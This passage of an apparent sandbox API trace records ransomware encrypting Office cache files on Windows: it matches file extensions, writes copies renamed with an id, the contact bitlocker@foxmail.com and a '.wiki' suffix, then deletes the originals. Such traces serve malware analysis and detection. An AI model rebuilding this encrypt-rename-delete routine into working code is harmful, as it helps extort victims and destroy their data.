lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0066.087] lstrlenW (lpString=".ppt") returned 4 [0066.087] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0066.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0066.087] lstrlenW (lpString=".zip") returned 4 [0066.087] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0066.087] lstrlenW (lpString=".rar") returned 4 [0066.087] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0066.087] lstrlenW (lpString=".bz2") returned 4 [0066.087] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0066.087] lstrlenW (lpString=".7z") returned 3 [0066.087] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0066.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0066.088] lstrlenW (lpString=".dbf") returned 4 [0066.088] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0066.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0066.088] lstrlenW (lpString=".1cd") returned 4 [0066.088] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0066.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0066.088] lstrlenW (lpString=".jpg") returned 4 [0066.088] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0066.088] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0066.088] lstrlenW (lpString="MSSOAPR3.DLL") returned 12 [0066.088] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0066.149] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=41864) returned 1 [0066.149] CloseHandle (hObject=0x1fc) returned 1 [0066.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll")) returned 0x20 [0066.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0066.149] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0066.149] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.149] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.150] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 19 os_tid = 0xac4 [0042.871] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10000) returned 0x39d06a0 [0042.871] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10000) returned 0x39e06a8 [0042.872] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x710430 [0042.872] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x6) returned 0x7130f8 [0042.872] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x710448 [0042.872] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x100000) returned 0x3db0020 [0042.872] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x710460 [0042.872] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x710460, Size=0x20) returned 0x73f930 [0042.872] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x710460 [0042.872] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x710460, Size=0x20) returned 0x73f958 [0042.872] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0042.872] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0042.872] Wow64DisableWow64FsRedirection (in: OldValue=0x328ff58 | out: OldValue=0x328ff58*=0x0) returned 1 [0042.872] lstrlenW (lpString="kernel32.dll") returned 12 [0042.872] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x73f930 | out: hHeap=0x6c0000) returned 1 [0042.873] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0042.873] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x73f958 | out: hHeap=0x6c0000) returned 1 [0042.873] Sleep (dwMilliseconds=0x64) [0043.151] Sleep (dwMilliseconds=0x64) [0043.396] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0043.396] lstrlenW (lpString="ExcelMUI.xml") returned 12 [0043.396] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0044.813] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1565) returned 1 [0044.851] CloseHandle (hObject=0x188) returned 1 [0044.851] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 0x2020 [0044.851] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0044.851] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0044.851] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.851] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.851] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0044.852] GetLastError () returned 0x0 [0044.852] ReadFile (in: hFile=0x188, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x61d, lpOverlapped=0x0) returned 1 [0044.864] WriteFile (in: hFile=0x1b0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x620, lpOverlapped=0x0) returned 1 [0044.865] ReadFile (in: hFile=0x188, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.865] WriteFile (in: hFile=0x1b0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.865] SetEndOfFile (hFile=0x1b0) returned 1 [0044.865] CloseHandle (hObject=0x1b0) returned 1 [0044.866] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.866] SetEndOfFile (hFile=0x188) returned 1 [0044.867] CloseHandle (hObject=0x188) returned 1 [0044.867] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0044.867] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 1 [0044.867] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0044.867] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0044.867] lstrlenW (lpString=".doc") returned 4 [0044.867] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.867] lstrlenW (lpString=".docx") returned 5 [0044.867] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0044.867] lstrlenW (lpString=".pdf") returned 4 [0044.868] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.868] lstrlenW (lpString=".xls") returned 4 [0044.868] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.868] lstrlenW (lpString=".xlsx") returned 5 [0044.868] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0044.868] lstrlenW (lpString=".ppt") returned 4 [0044.868] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.868] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0044.868] lstrlenW (lpString=".zip") returned 4 [0044.868] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.868] lstrlenW (lpString=".rar") returned 4 [0044.868] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.868] lstrlenW (lpString=".bz2") returned 4 [0044.868] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.868] lstrlenW (lpString=".7z") returned 3 [0044.868] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.868] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0044.868] lstrlenW (lpString=".dbf") returned 4 [0044.868] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.868] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0044.868] lstrlenW (lpString=".1cd") returned 4 [0044.868] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.868] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0044.868] lstrlenW (lpString=".jpg") returned 4 [0044.868] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.868] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0044.868] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0044.868] lstrlenW (lpString=".doc") returned 4 [0044.868] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.868] lstrlenW (lpString=".docx") returned 5 [0044.868] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0044.868] lstrlenW (lpString=".pdf") returned 4 [0044.868] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.868] lstrlenW (lpString=".xls") returned 4 [0044.869] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.869] lstrlenW (lpString=".xlsx") returned 5 [0044.869] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0044.869] lstrlenW (lpString=".ppt") returned 4 [0044.869] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.869] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0044.869] lstrlenW (lpString=".zip") returned 4 [0044.869] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.869] lstrlenW (lpString=".rar") returned 4 [0044.869] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.869] lstrlenW (lpString=".bz2") returned 4 [0044.869] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.869] lstrlenW (lpString=".7z") returned 3 [0044.869] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.869] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0044.869] lstrlenW (lpString=".dbf") returned 4 [0044.869] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.869] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0044.869] lstrlenW (lpString=".1cd") returned 4 [0044.869] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.869] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0044.869] lstrlenW (lpString=".jpg") returned 4 [0044.869] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.869] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0044.869] lstrlenW (lpString="Setup.xml") returned 9 [0044.869] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0044.869] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=2362) returned 1 [0044.870] CloseHandle (hObject=0x188) returned 1 [0044.870] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0044.870] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0044.870] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0044.870] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.870] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.870] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0044.870] GetLastError () returned 0x0 [0044.870] ReadFile (in: hFile=0x188, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x93a, lpOverlapped=0x0) returned 1 [0044.872] WriteFile (in: hFile=0x1b0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x940, lpOverlapped=0x0) returned 1 [0044.872] ReadFile (in: hFile=0x188, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.872] WriteFile (in: hFile=0x1b0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0044.873] SetEndOfFile (hFile=0x1b0) returned 1 [0044.873] CloseHandle (hObject=0x1b0) returned 1 [0044.873] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.873] SetEndOfFile (hFile=0x188) returned 1 [0044.874] CloseHandle (hObject=0x188) returned 1 [0044.874] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0044.874] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0044.874] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.875] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.875] lstrlenW (lpString=".doc") returned 4 [0044.875] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.875] lstrlenW (lpString=".docx") returned 5 [0044.875] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0044.875] lstrlenW (lpString=".pdf") returned 4 [0044.875] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.875] lstrlenW (lpString=".xls") returned 4 [0044.875] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.875] lstrlenW (lpString=".xlsx") returned 5 [0044.875] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0044.875] lstrlenW (lpString=".ppt") returned 4 [0044.875] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.875] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.875] lstrlenW (lpString=".zip") returned 4 [0044.875] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.875] lstrlenW (lpString=".rar") returned 4 [0044.875] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.875] lstrlenW (lpString=".bz2") returned 4 [0044.875] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.875] lstrlenW (lpString=".7z") returned 3 [0044.875] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.875] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.875] lstrlenW (lpString=".dbf") returned 4 [0044.875] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.875] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.875] lstrlenW (lpString=".1cd") returned 4 [0044.875] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.875] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.875] lstrlenW (lpString=".jpg") returned 4 [0044.875] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.875] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.875] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.875] lstrlenW (lpString=".doc") returned 4 [0044.875] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.876] lstrlenW (lpString=".docx") returned 5 [0044.876] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0044.876] lstrlenW (lpString=".pdf") returned 4 [0044.876] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.876] lstrlenW (lpString=".xls") returned 4 [0044.876] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.876] lstrlenW (lpString=".xlsx") returned 5 [0044.876] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0044.876] lstrlenW (lpString=".ppt") returned 4 [0044.876] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.876] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.876] lstrlenW (lpString=".zip") returned 4 [0044.876] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.876] lstrlenW (lpString=".rar") returned 4 [0044.876] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.876] lstrlenW (lpString=".bz2") returned 4 [0044.876] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.876] lstrlenW (lpString=".7z") returned 3 [0044.876] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.876] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.876] lstrlenW (lpString=".dbf") returned 4 [0044.876] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.876] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.876] lstrlenW (lpString=".1cd") returned 4 [0044.876] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.876] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.876] lstrlenW (lpString=".jpg") returned 4 [0044.876] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.876] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0044.876] lstrlenW (lpString="InfoPathMUI.xml") returned 15 [0044.877] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0044.877] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1231) returned 1 [0044.877] CloseHandle (hObject=0x188) returned 1 [0044.878] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 0x2020 [0044.878] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0044.878] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0044.878] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.878] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.878] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0044.878] GetLastError () returned 0x0 [0044.878] ReadFile (in: hFile=0x188, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x4cf, lpOverlapped=0x0) returned 1 [0044.880] WriteFile (in: hFile=0x1b0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x4d0, lpOverlapped=0x0) 